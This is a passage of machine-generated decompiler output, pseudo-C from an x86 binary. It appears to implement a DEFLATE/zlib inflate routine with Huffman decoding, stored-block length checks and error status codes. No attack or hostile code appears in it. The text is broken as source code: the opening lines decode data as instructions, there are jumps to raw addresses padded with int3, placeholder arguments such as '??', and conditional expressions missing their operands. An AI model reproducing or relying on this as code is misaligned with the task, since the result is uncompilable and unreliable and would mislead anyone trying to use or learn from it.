				L0:
				while(1) {
					L0:
					_t597 = __eax + 1 - 0x20;
					 *_t597 =  *_t597 + _t597;
					_t847 = __ebx + _t597;
					_t598 = _t597 + 1;
					 *_t598 =  *_t598 ^ _t598;
					 *_t598 = _t598 +  *_t598;
					 *0xde0 =  *0xde0 + _t598;
					memset(_t598, ??, ??);
					asm("movdqa xmm0, [0x2afae0]");
					_t1068 = _t1067 + 0xc;
					asm("movdqu [edi+0x40], xmm0");
					asm("movdqu [edi+0x50], xmm0");
					asm("movdqu [edi+0x60], xmm0");
					asm("movdqu [edi+0x70], xmm0");
					asm("movdqu [edi+0x80], xmm0");
					asm("movdqu [edi+0x90], xmm0");
					asm("movdqu [edi+0xa0], xmm0");
					asm("movdqu [edi+0xb0], xmm0");
					asm("movdqu [edi+0xc0], xmm0");
					_t1029 = __edi + 0xd0;
					asm("movdqa xmm0, [0x2afaf0]");
					asm("movdqu [edi], xmm0");
					asm("movdqu [edi+0x10], xmm0");
					asm("movdqu [edi+0x20], xmm0");
					asm("movdqu [edi+0x30], xmm0");
					asm("movdqu [edi+0x40], xmm0");
					asm("movdqu [edi+0x50], xmm0");
					asm("movdqu [edi+0x60], xmm0");
					asm("movdqa xmm0, [0x2afad0]");
					asm("movdqu [edi+0x70], xmm0");
					asm("movq [edi+0x80], xmm0");
					 *((intOrPtr*)(_t1029 + 0x88)) = 0x8080808;
					 *((intOrPtr*)(_t1029 + 0x8c)) = 0x8080808;
					_t1030 =  *(_t1065 - 0x14);
					while(1) {
						L141:
						_t600 =  *(_t1030 + 0x18);
						if(_t600 >= 0) {
							break;
						}
						L218:
						_t968 =  *(_t1065 - 4);
						while(1) {
							L39:
							_t860 =  *(_t1065 - 0x20) - _t847;
							__eflags = _t860 - 4;
							if(_t860 < 4) {
								goto L58;
							}
							L40:
							_t1030 =  *(_t1065 - 0x14);
							__eflags =  *((intOrPtr*)(_t1065 - 0x40)) -  *(_t1065 - 0x10) - 2;
							if( *((intOrPtr*)(_t1065 - 0x40)) -  *(_t1065 - 0x10) < 2) {
								goto L58;
							} else {
								L41:
								__eflags = _t1050 - 0xf;
								if(_t1050 < 0xf) {
									_t1017 =  *(_t847 + 1) & 0x000000ff;
									_t860 = _t1050;
									_t733 =  *_t847 & 0x000000ff;
									_t847 = _t847 + 2;
									 *(_t1065 - 0x18) = _t847;
									 *(_t1065 - 4) =  *(_t1065 - 4) | (_t1017 << 0x00000008 | _t733) << _t860;
									_t1050 = _t1050 + 0x10;
									__eflags = _t1050;
									_t968 =  *(_t1065 - 4);
								}
								_t618 =  *((short*)(_t1030 + 0x160 + (_t968 & 0x000003ff) * 2));
								 *(_t1065 - 8) = _t618;
								__eflags = _t618;
								if(_t618 < 0) {
									L45:
									goto 0x2c145c;
									asm("int3");
									asm("int3");
									asm("int3");
									do {
										L46:
										_t685 = _t968 >> _t860;
										_t860 = _t860 + 1;
										_t618 = (_t685 & 0x00000001) +  !_t847;
										_t847 =  *((short*)(_t1030 + 0x960 + _t618 * 2));
										__eflags = _t847;
									} while (_t847 < 0);
									 *(_t1065 - 8) = _t847;
									_t847 =  *(_t1065 - 0x18);
								} else {
									L44:
									_t860 = _t618 >> 9;
								}
								L48:
								_t968 = _t968 >> _t860;
								_t1050 = _t1050 - _t860;
								_t861 =  *(_t1065 - 8);
								 *(_t1065 - 4) = _t968;
								__eflags = _t861 & 0x00000100;
								if((_t861 & 0x00000100) != 0) {
									L84:
									_t862 = _t861 & 0x000001ff;
									 *(_t1065 - 8) = _t862;
									__eflags = _t862 - 0x100;
									if(_t862 != 0x100) {
										L219:
										_t608 = _t862 * 4 - 0x404;
										_t863 =  *(_t608 + 0x2af010);
										_t609 =  *(_t608 + 0x2afa48);
										 *(_t1065 - 0x38) = _t863;
										 *(_t1065 - 8) = _t609;
										__eflags = _t863;
										if(_t863 == 0) {
											L225:
											__eflags = _t1050 - 0xf;
											if(_t1050 >= 0xf) {
												L3:
												_t612 =  *((short*)(_t1030 + 0xf00 + (_t968 & 0x000003ff) * 2));
												 *(_t1065 - 0x1c) = _t612;
												__eflags = _t612;
												if(_t612 < 0) {
													L5:
													goto 0x2c13e3;
													asm("int3");
													asm("int3");
													asm("int3");
													do {
														L7:
														_t614 = _t968 >> _t863;
														_t863 = _t863 + 1;
														_t847 =  *((short*)(_t1030 + 0x1700 + ((_t614 & 0x00000001) +  !_t847) * 2));
														__eflags = _t847;
													} while (_t847 < 0);
													 *(_t1065 - 0x1c) = _t847;
													_t847 =  *(_t1065 - 0x18);
													_t617 =  *(_t1065 - 0x1c);
												} else {
													L4:
													_t863 = _t612 >> 9;
													_t617 = _t612 & 0x000001ff;
												}
												L9:
												_t968 = _t968 >> _t863;
												_t1050 = _t1050 - _t863;
												_t864 =  *(0x2af090 + _t617 * 4);
												_t618 =  *(0x2af110 + _t617 * 4);
												 *(_t1065 - 4) = _t968;
												 *(_t1065 - 0x38) = _t864;
												 *(_t1065 - 0x28) = _t618;
												__eflags = _t864;
												if(_t864 == 0) {
													L15:
													_t866 =  *(_t1065 - 0x10) -  *((intOrPtr*)(_t1065 + 0xc));
													 *((intOrPtr*)(_t1065 - 0x48)) = _t866;
													__eflags = _t618 - _t866;
													if(_t618 <= _t866) {
														L17:
														_t1030 =  *(_t1065 - 0x14);
														_t869 = (_t866 - _t618 &  *(_t1065 - 0x34)) +  *((intOrPtr*)(_t1065 + 0xc));
														__eflags =  *(_t1065 - 0x10) - _t869;
														 *(_t1065 - 0xc) = _t869;
														_t620 =  >  ?  *(_t1065 - 0x10) : _t869;
														_t870 =  *(_t1065 - 8);
														_t621 = ( >  ?  *(_t1065 - 0x10) : _t869) + _t870;
														__eflags = ( >  ?  *(_t1065 - 0x10) : _t869) + _t870 -  *((intOrPtr*)(_t1065 - 0x40));
														if(( >  ?  *(_t1065 - 0x10) : _t869) + _t870 <=  *((intOrPtr*)(_t1065 - 0x40))) {
															L21:
															__eflags = _t870 - 9;
															if(_t870 < 9) {
																L30:
																goto 0x2c1420;
																asm("int3");
																do {
																	L32:
																	_t870 = _t870 - 3;
																	 *_t1030 =  *_t968 & 0x000000ff;
																	 *((char*)(_t1030 + 1)) =  *(_t968 + 1) & 0x000000ff;
																	_t624 =  *(2 + _t968) & 0x000000ff;
																	_t968 = _t968 + 3;
																	 *(2 + _t1030) = _t624;
																	_t1030 = _t1030 + 3;
																	__eflags = _t870 - 2;
																} while (_t870 > 2);
																goto L33;
															} else {
																L22:
																__eflags = _t870 -  *(_t1065 - 0x28);
																if(_t870 >  *(_t1065 - 0x28)) {
																	goto L30;
																} else {
																	L23:
																	_t1041 =  *(_t1065 - 0xc);
																	_t871 =  *(_t1065 - 0x10);
																	_t738 = _t1041 + (_t870 & 0xfffffff8);
																	 *(_t1065 - 0x24) = _t738;
																	_t1025 = _t738;
																	do {
																		L24:
																		 *_t871 =  *_t1041;
																		_t740 =  *((intOrPtr*)(_t1041 + 4));
																		_t1041 = _t1041 + 8;
																		 *((intOrPtr*)(_t871 + 4)) = _t740;
																		_t871 = _t871 + 8;
																		__eflags = _t1041 - _t1025;
																	} while (_t1041 < _t1025);
																	_t968 =  *(_t1065 - 4);
																	 *(_t1065 - 0x10) = _t871;
																	_t870 =  *(_t1065 - 8) & 0x00000007;
																	 *(_t1065 - 0xc) = _t1041;
																	_t1030 =  *(_t1065 - 0x14);
																	 *(_t1065 - 8) = _t870;
																	__eflags = _t870 - 3;
																	if(_t870 >= 3) {
																		goto L30;
																	} else {
																		goto L26;
																	}
																}
															}
															continue;
														} else {
															while(1) {
																L18:
																_t741 = _t870;
																_t870 = _t870 - 1;
																 *(_t1065 - 8) = _t870;
																__eflags = _t741;
																if(_t741 == 0) {
																	goto L39;
																}
																L19:
																__eflags =  *(_t1065 - 0x10) -  *((intOrPtr*)(_t1065 - 0x40));
																if( *(_t1065 - 0x10) >=  *((intOrPtr*)(_t1065 - 0x40))) {
																	L238:
																	 *(_t1065 - 0xc) = 2;
																	 *_t1030 = 0x35;
																	goto L292;
																} else {
																	L20:
																	 *(_t1065 - 0x10) =  *(_t1065 - 0x10) + 1;
																	 *((intOrPtr*)(_t1065 - 0x48)) =  *((intOrPtr*)(_t1065 - 0x48)) + 1;
																	 *( *(_t1065 - 0x10)) =  *((intOrPtr*)(( *((intOrPtr*)(_t1065 - 0x48)) -  *(_t1065 - 0x28) &  *(_t1065 - 0x34)) +  *((intOrPtr*)(_t1065 + 0xc))));
																	_t968 =  *(_t1065 - 4);
																	continue;
																}
																goto L295;
															}
															while(1) {
																L39:
																_t860 =  *(_t1065 - 0x20) - _t847;
																__eflags = _t860 - 4;
																if(_t860 < 4) {
																	goto L58;
																}
																goto L40;
															}
															goto L58;
														}
													} else {
														L16:
														__eflags =  *(_t1065 + 0x18) & 0x00000004;
														if(( *(_t1065 + 0x18) & 0x00000004) != 0) {
															L270:
															_t689 = _t618 | 0xffffffff;
															 *_t1030 = 0x25;
															goto L291;
														} else {
															goto L17;
														}
													}
												} else {
													L10:
													__eflags = _t1050 - _t864;
													if(_t1050 >= _t864) {
														L13:
														_t1050 = _t1050 - _t864;
														_t749 = (_t618 << _t864) - 0x00000001 & _t968;
														_t968 = _t968 >> _t864;
														_t28 = _t1065 - 0x28;
														 *_t28 =  *(_t1065 - 0x28) + _t749;
														__eflags =  *_t28;
														_t618 =  *(_t1065 - 0x28);
														 *(_t1065 - 4) = _t968;
														goto L15;
													} else {
														while(1) {
															L11:
															__eflags = _t847 -  *(_t1065 - 0x20);
															if(_t847 >=  *(_t1065 - 0x20)) {
																break;
															}
															L12:
															_t618 = ( *_t847 & 0x000000ff) << _t1050;
															_t847 = _t847 + 1;
															_t864 =  *(_t1065 - 0x38);
															_t968 = _t968 | _t618;
															_t1050 = _t1050 + 8;
															 *(_t1065 - 0x18) = _t847;
															 *(_t1065 - 4) = _t968;
															__eflags = _t1050 - _t864;
															if(_t1050 < _t864) {
																continue;
															} else {
																goto L13;
															}
															goto L295;
														}
														L263:
														 *_t1030 = 0x1b;
														goto L285;
													}
												}
											} else {
												L226:
												__eflags =  *(_t1065 - 0x20) - _t847 - 2;
												if( *(_t1065 - 0x20) - _t847 >= 2) {
													L237:
													_t991 =  *(_t847 + 1) & 0x000000ff;
													_t753 =  *_t847 & 0x000000ff;
													_t847 = _t847 + 2;
													_t1030 =  *(_t1065 - 0x14);
													_t863 = _t1050;
													 *(_t1065 - 0x18) = _t847;
													 *(_t1065 - 4) =  *(_t1065 - 4) | _t991 << _t1050 + 0x00000008 | _t753 << _t863;
													_t1050 = _t1050 + 0x10;
													_t968 =  *(_t1065 - 4);
												} else {
													do {
														L227:
														_t618 =  *((short*)(_t1030 + 0xf00 + (_t968 & 0x000003ff) * 2));
														 *(_t1065 - 0x24) = _t618;
														__eflags = _t618;
														if(_t618 < 0) {
															L231:
															__eflags = _t1050 - 0xa;
															if(_t1050 <= 0xa) {
																goto L1;
															} else {
																L232:
																L233:
																 *(_t1065 - 0x1c) = _t863;
																while(1) {
																	L234:
																	_t863 =  *((short*)(_t1030 + 0x1700 + ((_t968 >> _t863 & 0x00000001) +  !( *(_t1065 - 0x24))) * 2));
																	_t764 =  *(_t1065 - 0x1c) + 1;
																	 *(_t1065 - 0x24) = _t863;
																	 *(_t1065 - 0x1c) = _t764;
																	__eflags = _t863;
																	if(_t863 >= 0) {
																		goto L3;
																	}
																	L235:
																	_t618 = _t764 + 1;
																	__eflags = _t1050 - _t618;
																	if(_t1050 < _t618) {
																		goto L1;
																	} else {
																		L236:
																		_t863 =  *(_t1065 - 0x1c);
																		continue;
																	}
																	goto L295;
																}
																goto L3;
															}
														} else {
															L228:
															_t618 = _t618 >> 9;
															__eflags = _t618;
															if(_t618 == 0) {
																L1:
																__eflags = _t847 -  *(_t1065 - 0x20);
																if(_t847 >=  *(_t1065 - 0x20)) {
																	L264:
																	 *_t1030 = 0x1a;
																	goto L285;
																} else {
																	goto L2;
																}
															} else {
																L229:
																__eflags = _t1050 - _t618;
																if(_t1050 >= _t618) {
																	goto L3;
																} else {
																	L230:
																	goto L1;
																}
															}
														}
														goto L295;
														L2:
														_t863 = _t1050;
														_t758 = ( *_t847 & 0x000000ff) << _t863;
														_t847 = _t847 + 1;
														_t968 = _t968 | _t758;
														 *(_t1065 - 0x18) = _t847;
														_t1050 = _t1050 + 8;
														 *(_t1065 - 4) = _t968;
														__eflags = _t1050 - 0xf;
													} while (_t1050 < 0xf);
												}
												goto L3;
											}
										} else {
											L220:
											__eflags = _t1050 - _t863;
											if(_t1050 >= _t863) {
												L223:
												L224:
												_t1050 = _t1050 - _t863;
												_t767 = (_t609 << _t863) - 0x00000001 & _t968;
												_t968 = _t968 >> _t863;
												_t456 = _t1065 - 8;
												 *_t456 =  *(_t1065 - 8) + _t767;
												__eflags =  *_t456;
												 *(_t1065 - 4) = _t968;
												goto L225;
											} else {
												while(1) {
													L221:
													__eflags = _t847 -  *(_t1065 - 0x20);
													if(_t847 >=  *(_t1065 - 0x20)) {
														break;
													}
													L222:
													_t618 = ( *_t847 & 0x000000ff) << _t1050;
													_t847 = _t847 + 1;
													_t863 =  *(_t1065 - 0x38);
													_t968 = _t968 | _t618;
													_t1050 = _t1050 + 8;
													 *(_t1065 - 0x18) = _t847;
													 *(_t1065 - 4) = _t968;
													__eflags = _t1050 - _t863;
													if(_t1050 < _t863) {
														continue;
													} else {
														goto L223;
													}
													goto L295;
												}
												L262:
												 *_t1030 = 0x19;
												goto L285;
											}
										}
									} else {
										while(1) {
											L85:
											__eflags =  *(_t1030 + 0x14) & 0x00000001;
											if(( *(_t1030 + 0x14) & 0x00000001) != 0) {
												break;
											}
											L86:
											__eflags = _t1050 - 3;
											if(_t1050 >= 3) {
												L89:
												_t1050 = _t1050 - 3;
												_t698 = _t968 & 0x00000007;
												_t999 = _t968 >> 3;
												 *(_t1030 + 0x14) = _t698;
												_t699 = _t698 >> 1;
												__eflags = _t699;
												 *(_t1065 - 4) = _t999;
												 *(_t1065 - 0x1c) = _t1050;
												 *(_t1030 + 0x18) = _t699;
												if(_t699 != 0) {
													L124:
													__eflags = _t699 - 3;
													if(_t699 == 3) {
														L266:
														 *(_t1065 - 0xc) = 0xffffffff;
														 *_t1030 = 0xa;
														goto L292;
													} else {
														L125:
														__eflags = _t699 - 1;
														if(__eflags != 0) {
															L127:
															_t901 = 0;
															__eflags = 0;
															while(1) {
																L128:
																 *(_t1065 - 8) = _t901;
																__eflags = _t901 - 3;
																if(_t901 >= 3) {
																	break;
																}
																L129:
																_t618 =  *((char*)(_t901 + 0x2af004));
																 *(_t1065 - 0x1c) = _t618;
																__eflags = _t1050 - _t618;
																if(_t1050 >= _t618) {
																	L132:
																	_t1015 = _t1030 + _t901 * 4;
																	_t1036 =  *(_t1065 - 4);
																	 *(_t1015 + 0x2c) = (0x00000001 <<  *(_t1065 - 0x1c)) - 0x00000001 & _t1036;
																	_t707 =  *(_t1065 - 8);
																	_t940 =  *((char*)(_t707 + 0x2af004));
																	_t1037 = _t1036 >> _t940;
																	_t1050 = _t1050 - _t940;
																	_t941 = _t707;
																	 *(_t1065 - 4) = _t1037;
																	 *(_t1065 - 0x1c) = _t1050;
																	 *(_t1015 + 0x2c) =  *(_t1015 + 0x2c) +  *((intOrPtr*)(0x2afa38 + _t941 * 4));
																	_t999 = _t1037;
																	_t1030 =  *(_t1065 - 0x14);
																	_t901 = _t941 + 1;
																	continue;
																} else {
																	while(1) {
																		L130:
																		__eflags = _t847 -  *(_t1065 - 0x20);
																		if(_t847 >=  *(_t1065 - 0x20)) {
																			break;
																		}
																		L131:
																		_t710 = ( *_t847 & 0x000000ff) << _t1050;
																		_t847 = _t847 + 1;
																		_t901 =  *(_t1065 - 8);
																		_t999 = _t999 | _t710;
																		_t1050 = _t1050 + 8;
																		 *(_t1065 - 0x18) = _t847;
																		 *(_t1065 - 4) = _t999;
																		_t618 =  *((char*)(_t901 + 0x2af004));
																		 *(_t1065 - 0x1c) = _t618;
																		__eflags = _t1050 - _t618;
																		if(_t1050 < _t618) {
																			continue;
																		} else {
																			goto L132;
																		}
																		goto L295;
																	}
																	L248:
																	 *_t1030 = 0xb;
																	goto L285;
																}
																goto L295;
															}
															L133:
															L134:
															_t618 = memset(_t1030 + 0x1b80, 0, ??);
															_t1000 =  *(_t1065 - 4);
															_t1068 = _t1068 + 0xc;
															_t902 = 0;
															__eflags = 0;
															while(1) {
																L135:
																 *(_t1065 - 8) = _t902;
																__eflags = _t902 -  *((intOrPtr*)(_t1030 + 0x34));
																if(__eflags >= 0) {
																	break;
																}
																L136:
																__eflags = _t1050 - 3;
																if(_t1050 >= 3) {
																	L139:
																	_t936 = _t1000 & 0x00000007;
																	_t1000 = _t1000 >> 3;
																	_t1050 = _t1050 - 3;
																	 *(_t1065 - 4) = _t1000;
																	 *(_t1065 - 0x1c) = _t1050;
																	_t618 =  *( *(_t1065 - 8) + 0x2afa24) & 0x000000ff;
																	 *(_t1030 + 0x1b80 + _t618) = _t936;
																	_t902 =  *(_t1065 - 8) + 1;
																	continue;
																} else {
																	while(1) {
																		L137:
																		__eflags = _t847 -  *(_t1065 - 0x20);
																		if(_t847 >=  *(_t1065 - 0x20)) {
																			break;
																		}
																		L138:
																		_t618 = ( *_t847 & 0x000000ff) << _t1050;
																		_t847 = _t847 + 1;
																		_t1000 = _t1000 | _t618;
																		 *(_t1065 - 0x18) = _t847;
																		_t1050 = _t1050 + 8;
																		 *(_t1065 - 4) = _t1000;
																		__eflags = _t1050 - 3;
																		if(_t1050 < 3) {
																			continue;
																		} else {
																			goto L139;
																		}
																		goto L295;
																	}
																	L249:
																	 *_t1030 = 0xe;
																	goto L285;
																}
																goto L295;
															}
															L140:
															 *((intOrPtr*)(_t1030 + 0x34)) = 0x13;
															goto L141;
														} else {
															L126:
															goto 0x2c14d8;
															asm("int3");
															asm("int3");
															 *((intOrPtr*)(_t699 + 0x2c)) = 0x120;
															goto L0;
														}
													}
												} else {
													L90:
													_t618 = _t1050 & 0x00000007;
													__eflags = _t1050 - _t618;
													if(_t1050 >= _t618) {
														L93:
														_t944 = _t1050 & 0x00000007;
														_t968 = _t999 >> _t944;
														_t1050 = _t1050 - _t944;
														 *(_t1065 - 4) = _t968;
														_t945 = 0;
														__eflags = 0;
														while(1) {
															L94:
															 *(_t1065 - 8) = _t945;
															__eflags = _t945 - 4;
															if(_t945 >= 4) {
																break;
															}
															L95:
															__eflags = _t1050;
															if(_t1050 == 0) {
																L101:
																__eflags = _t847 -  *(_t1065 - 0x20);
																if(_t847 >=  *(_t1065 - 0x20)) {
																	L244:
																	 *_t1030 = 7;
																	goto L285;
																} else {
																	L102:
																	_t618 =  *_t847;
																	_t847 = _t847 + 1;
																	(_t1030 + 0x2920)[_t945] = _t618;
																	_t945 = _t945 + 1;
																	 *(_t1065 - 0x18) = _t847;
																	continue;
																}
															} else {
																L96:
																__eflags = _t1050 - 8;
																if(_t1050 >= 8) {
																	L100:
																	(_t1030 + 0x2920)[_t945] = _t968;
																	_t1050 = _t1050 - 8;
																	_t968 = _t968 >> 8;
																	_t945 = _t945 + 1;
																	 *(_t1065 - 4) = _t968;
																	continue;
																} else {
																	while(1) {
																		L97:
																		__eflags = _t847 -  *(_t1065 - 0x20);
																		if(_t847 >=  *(_t1065 - 0x20)) {
																			break;
																		}
																		L98:
																		_t618 = ( *_t847 & 0x000000ff) << _t1050;
																		_t847 = _t847 + 1;
																		_t968 = _t968 | _t618;
																		 *(_t1065 - 0x18) = _t847;
																		_t1050 = _t1050 + 8;
																		 *(_t1065 - 4) = _t968;
																		__eflags = _t1050 - 8;
																		if(_t1050 < 8) {
																			continue;
																		} else {
																			L99:
																			_t945 =  *(_t1065 - 8);
																			goto L100;
																		}
																		goto L295;
																	}
																	L243:
																	 *_t1030 = 6;
																	goto L285;
																}
															}
															goto L295;
														}
														L103:
														_t618 =  *(_t1030 + 0x2922) & 0x000000ff;
														 *(_t1065 - 8) = ( *(_t1030 + 0x2921) & 0x000000ff) << 0x00000008 |  *(_t1030 + 0x2920) & 0x000000ff;
														__eflags =  *(_t1065 - 8) - ((( *(_t1030 + 0x2923) & 0x000000ff) << 0x00000008 | _t618) ^ 0x0000ffff);
														if( *(_t1065 - 8) != ((( *(_t1030 + 0x2923) & 0x000000ff) << 0x00000008 | _t618) ^ 0x0000ffff)) {
															L265:
															 *(_t1065 - 0xc) = 0xffffffff;
															 *_t1030 = 0x27;
															goto L292;
														} else {
															L104:
															_t953 =  *(_t1065 - 8);
															while(1) {
																L105:
																__eflags = _t953;
																if(_t953 == 0) {
																	goto L85;
																}
																L106:
																__eflags = _t1050;
																if(_t1050 == 0) {
																	L113:
																	_t618 =  *(_t1065 - 0x10);
																	while(1) {
																		L114:
																		__eflags = _t953;
																		if(_t953 == 0) {
																			break;
																		}
																		L116:
																		_t1016 =  *((intOrPtr*)(_t1065 - 0x40));
																		__eflags = _t618 - _t1016;
																		if(_t618 < _t1016) {
																			L118:
																			_t618 =  *(_t1065 - 0x20);
																			__eflags = _t847 - _t618;
																			if(_t847 >= _t618) {
																				L247:
																				_t1030 =  *(_t1065 - 0x14);
																				 *_t1030 = 0x26;
																				goto L285;
																			} else {
																				L119:
																				_t968 = _t1016 -  *(_t1065 - 0x10);
																				_t1039 = _t618 - _t847;
																				__eflags = _t968 - _t1039;
																				_t715 =  <  ? _t968 : _t1039;
																				__eflags = ( <  ? _t968 : _t1039) - _t953;
																				if(( <  ? _t968 : _t1039) >= _t953) {
																					_t1030 = _t953;
																				} else {
																					__eflags = _t968 - _t1039;
																					_t1030 =  <  ? _t968 : _t1039;
																				}
																				L122:
																				L123:
																				memcpy();
																				_t847 = _t847 + _t1030;
																				_t618 =  *(_t1065 - 0x10) + _t1030;
																				_t1068 = _t1068 + 0xc;
																				 *(_t1065 - 0x18) = _t847;
																				_t953 =  *(_t1065 - 8) - _t1030;
																				 *(_t1065 - 0x10) = _t618;
																				 *(_t1065 - 8) = _t953;
																				continue;
																			}
																		} else {
																			L117:
																			_t1030 =  *(_t1065 - 0x14);
																			 *(_t1065 - 0xc) = 2;
																			 *_t1030 = 9;
																			goto L292;
																		}
																		goto L295;
																	}
																	L115:
																	goto 0x2c14b1;
																	asm("int3");
																	goto L85;
																} else {
																	L107:
																	__eflags = _t1050 - 8;
																	if(_t1050 >= 8) {
																		L110:
																		_t618 = _t968 & 0x000000ff;
																		_t968 = _t968 >> 8;
																		_t1050 = _t1050 - 8;
																		 *(_t1065 - 0x28) = _t618;
																		 *(_t1065 - 4) = _t968;
																		L111:
																		__eflags =  *(_t1065 - 0x10) -  *((intOrPtr*)(_t1065 - 0x40));
																		_t1030 =  *(_t1065 - 0x14);
																		if( *(_t1065 - 0x10) >=  *((intOrPtr*)(_t1065 - 0x40))) {
																			L246:
																			 *(_t1065 - 0xc) = 2;
																			 *_t1030 = 0x34;
																			goto L292;
																		} else {
																			L112:
																			 *(_t1065 - 0x10) =  *(_t1065 - 0x10) + 1;
																			 *( *(_t1065 - 0x10)) = _t618;
																			_t953 =  *(_t1065 - 8) - 1;
																			 *(_t1065 - 8) = _t953;
																			continue;
																		}
																	} else {
																		while(1) {
																			L108:
																			__eflags = _t847 -  *(_t1065 - 0x20);
																			if(_t847 >=  *(_t1065 - 0x20)) {
																				break;
																			}
																			L109:
																			_t618 = ( *_t847 & 0x000000ff) << _t1050;
																			_t847 = _t847 + 1;
																			_t968 = _t968 | _t618;
																			 *(_t1065 - 0x18) = _t847;
																			_t1050 = _t1050 + 8;
																			 *(_t1065 - 4) = _t968;
																			__eflags = _t1050 - 8;
																			if(_t1050 < 8) {
																				continue;
																			} else {
																				goto L110;
																			}
																			goto L295;
																		}
																		L245:
																		 *_t1030 = 0x33;
																		goto L285;
																	}
																}
																goto L295;
															}
															continue;
														}
													} else {
														while(1) {
															L91:
															__eflags = _t847 -  *(_t1065 - 0x20);
															if(_t847 >=  *(_t1065 - 0x20)) {
																break;
															}
															L92:
															_t721 = ( *_t847 & 0x000000ff) << _t1050;
															_t1050 = _t1050 + 8;
															_t999 = _t999 | _t721;
															_t847 = _t847 + 1;
															 *(_t1065 - 0x18) = _t847;
															_t618 = _t1050 & 0x00000007;
															 *(_t1065 - 4) = _t999;
															__eflags = _t1050 - _t618;
															if(_t1050 < _t618) {
																continue;
															} else {
																goto L93;
															}
															goto L295;
														}
														L242:
														 *_t1030 = 5;
														goto L285;
													}
												}
											} else {
												while(1) {
													L87:
													__eflags = _t847 -  *(_t1065 - 0x20);
													if(_t847 >=  *(_t1065 - 0x20)) {
														break;
													}
													L88:
													_t618 = ( *_t847 & 0x000000ff) << _t1050;
													_t847 = _t847 + 1;
													_t968 = _t968 | _t618;
													 *(_t1065 - 0x18) = _t847;
													_t1050 = _t1050 + 8;
													 *(_t1065 - 4) = _t968;
													__eflags = _t1050 - 3;
													if(_t1050 < 3) {
														continue;
													} else {
														goto L89;
													}
													goto L295;
												}
												L241:
												 *_t1030 = 3;
												L285:
												__eflags =  *(_t1065 + 0x18) & 0x00000002;
												L286:
												L287:
												_t628 =  !=  ? 1 : _t618;
												 *(_t1065 - 0xc) = _t628;
												__eflags = _t628 - 1;
												if(_t628 != 1) {
													L288:
													__eflags = _t628 - 0xfffffffc;
													if(_t628 != 0xfffffffc) {
														L289:
														L292:
														_t673 =  *(_t1065 - 0x3c);
														__eflags = _t847 - _t673;
														if(_t847 > _t673) {
															while(1) {
																L293:
																__eflags = _t1050 - 8;
																if(_t1050 < 8) {
																	goto L295;
																}
																L294:
																_t847 = _t847 - 1;
																_t1050 = _t1050 - 8;
																__eflags = _t847 - _t673;
																if(_t847 > _t673) {
																	continue;
																}
																goto L295;
															}
														}
													}
												}
											}
											goto L295;
										}
										L252:
										_t618 = _t1050 & 0x00000007;
										__eflags = _t1050 - _t618;
										if(_t1050 >= _t618) {
											L256:
											_t688 =  *(_t1065 - 0x3c);
											_t894 = _t1050 & 0x00000007;
											_t994 = _t968 >> _t894;
											_t1050 = _t1050 - _t894;
											 *(_t1065 - 4) = _t994;
											__eflags = _t847 - _t688;
											if(_t847 > _t688) {
												while(1) {
													L257:
													__eflags = _t1050 - 8;
													if(_t1050 < 8) {
														goto L259;
													}
													L258:
													_t847 = _t847 - 1;
													_t1050 = _t1050 - 8;
													__eflags = _t847 - _t688;
													if(_t847 > _t688) {
														continue;
													}
													goto L259;
												}
											}
											L259:
											L260:
											_t618 = _t1050;
											asm("bts edx, eax");
											__eflags = _t618 - 0x20;
											_t896 =  >=  ? _t994 : 0;
											_t995 = _t994 ^ _t896;
											__eflags = _t618 - 0x40;
											_t897 =  >=  ? _t995 : _t896;
											 *(_t1065 - 4) =  *(_t1065 - 4) & _t995 - 0x00000001;
											__eflags =  *(_t1065 + 0x18) & 0x00000001;
											if(( *(_t1065 + 0x18) & 0x00000001) == 0) {
												L290:
												_t689 = 0;
												__eflags = 0;
												 *_t1030 = 0x22;
												L291:
												 *(_t1065 - 0xc) = _t689;
												goto L292;
											} else {
												L261:
												_t898 = 0;
												while(1) {
													L277:
													 *(_t1065 - 8) = _t898;
													__eflags = _t898 - 4;
													if(_t898 >= 4) {
														goto L290;
													}
													L278:
													__eflags = _t1050;
													if(_t1050 != 0) {
														L281:
														_t997 =  *(_t1065 - 4);
														__eflags = _t1050 - 8;
														if(_t1050 >= 8) {
															L275:
															_t690 = _t997 & 0x000000ff;
															_t1050 = _t1050 - 8;
															__eflags = _t1050;
															 *(_t1065 - 4) = _t997 >> 8;
															goto L276;
														} else {
															L282:
															while(1) {
																L272:
																__eflags = _t847 -  *(_t1065 - 0x20);
																if(_t847 >=  *(_t1065 - 0x20)) {
																	break;
																}
																L273:
																_t618 = ( *_t847 & 0x000000ff) << _t1050;
																_t1050 = _t1050 + 8;
																_t997 = _t997 | _t618;
																_t847 = _t847 + 1;
																 *(_t1065 - 4) = _t997;
																__eflags = _t1050 - 8;
																if(_t1050 < 8) {
																	continue;
																} else {
																	L274:
																	_t898 =  *(_t1065 - 8);
																	goto L275;
																}
																goto L295;
															}
															L284:
															 *_t1030 = 0x29;
															goto L285;
														}
													} else {
														L279:
														__eflags = _t847 -  *(_t1065 - 0x20);
														if(_t847 >=  *(_t1065 - 0x20)) {
															L283:
															 *_t1030 = 0x2a;
															goto L285;
														} else {
															L280:
															_t690 =  *_t847 & 0x000000ff;
															_t847 = _t847 + 1;
															L276:
															 *(_t1065 - 0x24) = _t690;
															_t618 =  *(_t1030 + 0x10) << 0x00000008 |  *(_t1065 - 0x24);
															_t898 = _t898 + 1;
															__eflags = _t898;
															 *(_t1030 + 0x10) = _t618;
															continue;
														}
													}
													goto L295;
												}
												goto L290;
											}
										} else {
											L253:
											while(1) {
												L254:
												__eflags = _t847 -  *(_t1065 - 0x20);
												if(_t847 >=  *(_t1065 - 0x20)) {
													break;
												}
												L255:
												_t695 = ( *_t847 & 0x000000ff) << _t1050;
												_t1050 = _t1050 + 8;
												_t968 = _t968 | _t695;
												_t847 = _t847 + 1;
												 *(_t1065 - 4) = _t968;
												_t618 = _t1050 & 0x00000007;
												__eflags = _t1050 - _t618;
												if(_t1050 < _t618) {
													continue;
												} else {
													goto L256;
												}
												goto L295;
											}
											L271:
											 *_t1030 = 0x20;
											goto L285;
										}
									}
								} else {
									L49:
									__eflags = _t1050 - 0xf;
									if(_t1050 < 0xf) {
										_t1021 =  *(_t847 + 1) & 0x000000ff;
										_t861 = _t1050;
										_t732 =  *_t847 & 0x000000ff;
										_t847 = _t847 + 2;
										_t1030 =  *(_t1065 - 0x14);
										 *(_t1065 - 0x18) = _t847;
										 *(_t1065 - 4) =  *(_t1065 - 4) | (_t1021 << 0x00000008 | _t732) << _t861;
										_t1050 = _t1050 + 0x10;
										__eflags = _t1050;
										_t968 =  *(_t1065 - 4);
									}
